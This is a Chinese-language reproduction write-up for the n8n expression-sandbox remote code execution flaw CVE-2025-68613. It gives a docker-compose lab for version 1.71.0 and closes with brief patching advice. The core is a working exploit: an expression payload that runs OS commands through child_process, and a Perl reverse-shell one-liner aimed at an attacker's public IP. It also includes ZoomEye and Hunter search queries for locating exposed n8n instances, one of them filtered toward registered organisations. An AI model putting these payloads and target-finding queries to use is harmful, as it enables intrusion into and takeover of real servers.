🔬 技术分析
漏洞原理
由于 n8n 工作流表达式的评估环境未能与底层 Node.js 运行时充分隔离,导致==经过身份验证==的远程攻击者可在特定条件下,通过配置恶意表达式突破沙箱限制,从而直接访问并操作 Node.js 全局对象或内置模块,最终在运行 n8n 进程的服务器上以该进程权限执行任意操作系统命令。
搜索语法
n8n 平台远程代码执行漏洞(CVE-2025-68613)ZoomEye搜索app=“n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i

也可搜索端口5678或图标ico,多数默认配置都是如此。

hunter搜索语法
web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"

💣 漏洞复现
环境搭建
根据官方 docker-compose.yml,修改 n8n 版本为 1.71.0:
1volumes:
2 db_storage:
3 n8n_storage:
4
5services:
6 postgres:
7 image: postgres:16
8 restart: always
9 environment:
10 - POSTGRES_USER=n8n_user
11 - POSTGRES_PASSWORD=n8n_password
12 - POSTGRES_DB=n8n_db
13 - POSTGRES_NON_ROOT_USER=n8n_root
14 - POSTGRES_NON_ROOT_PASSWORD=n8n_root_password
15 volumes:
16 - db_storage:/var/lib/postgresql/data
17 - ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
18 healthcheck:
19 test: ['CMD-SHELL', 'pg_isready -h localhost -U n8n_user -d n8n_db']
20 interval: 5s
21 timeout: 5s
22 retries: 10
23
24 n8n:
25 image: docker.n8n.io/n8nio/n8n:1.71.0
26 restart: always
27 environment:
28 - DB_TYPE=postgresdb
29 - DB_POSTGRESDB_HOST=postgres
30 - DB_POSTGRESDB_PORT=5432
31 - DB_POSTGRESDB_DATABASE=n8n_db
32 - DB_POSTGRESDB_USER=n8n_user
33 - DB_POSTGRESDB_PASSWORD=n8n_password
34 ports:
35 - 5678:5678
36 links:
37 - postgres
38 volumes:
39 - n8n_storage:/home/node/.n8n
40 depends_on:
41 postgres:
42 condition: service_healthy
利用步骤
打开页面,随便注册一个账号。这一步对应实际渗透过程中,攻击者已经通过其他途径获得登录账号。假如n8n系统本身就是弱密码,将会让风险提高。
实际登陆界面
创建一个新的 Workflow 并添加一个 Manual Trigger 节点,添加 Edit Fields(Set) 选项:
点击 Add Field,此处需要填写 name 和 value。name 处填入任意内容,在 value 处填入以下代码,切换到 Expression。点击 Test step 测试执行:
1{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
部分版本也可以直接新增exec节点
直接新建一个exec节点

想要弹回shell发现没有nc也没有python,ls /bin 发现有perl, perl也可以弹

1perl -e 'use Socket;$i="公网ip";$p=4777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
🛡️ 防御措施
通用修补建议
- 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本: https://github.com/n8n-io/n8n/releases
临时缓解措施
- 限制工作流创建和编辑权限,仅授予完全可信的用户。
- 在加固的环境中部署 n8n,限制操作系统权限和网络访问,以减少潜在利用的影响。
🔗 参考资源
官方公告
https://www.cve.org/CVERecord?id=CVE-2025-68613
技术分析
- https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79
- https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000
- https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp


